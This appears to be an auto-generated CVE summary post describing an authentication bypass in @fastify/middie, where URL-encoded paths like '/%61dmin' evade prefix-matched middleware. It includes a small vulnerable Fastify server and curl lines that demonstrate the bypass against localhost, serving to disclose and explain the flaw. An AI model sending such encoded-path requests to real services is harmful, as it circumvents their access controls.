Listen to this Post
How the mentioned CVE works:
The vulnerability in @fastify/middie allows bypassing path-prefixed middleware via URL-encoded characters. When middleware is registered for a path like ‘/admin’, middie uses path-to-regexp to generate a matching regex. This regex is executed against the raw, undecoded req.url. For a request to ‘/%61dmin’ (URL-encoded ‘a’), the regex fails to match because ‘/%61dmin’ is not recognized as ‘/admin’. Consequently, middie skips the middleware and calls next(). However, Fastify’s internal router decodes the URL before routing, so ‘/%61dmin’ is correctly interpreted as ‘/admin’, and the route handler is executed without middleware constraints, such as authentication or authorization checks. This discrepancy between middie’s path matching and the router’s decoding enables attackers to access protected endpoints.
Dailycve Form:
Platform: @fastify/middie
Version: versions < 8.3.2
Vulnerability: Authentication Bypass
Severity: High
Date: 2024-05-15
Prediction: Expected patch 2024-05-20
What Undercode Say:
Analytics:
Bash commands:
curl http://localhost:3008/admin
curl http://localhost:3008/%61dmin
Code:
const fastify = require(‘fastify’)({ logger: true });
async function start() {
await fastify.register(require(‘@fastify/middie’));
fastify.use(‘/admin’, (req, res, next) => {
res.statusCode = 403;
res.end(‘Forbidden: Access to /admin is blocked’);
});
fastify.get(‘/’, async (request, reply) => {
return { message: ‘Welcome to the homepage’ };
});
fastify.get(‘/admin’, async (request, reply) => {
return { message: ‘Admin panel’ };
});
await fastify.listen({ port: 3008 });
}
start();
How Exploit:
Send URL-encoded requests to bypass middleware.
Protection from this CVE:
Update @fastify/middie version.
Impact:
Authentication/authorization bypass, high severity.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
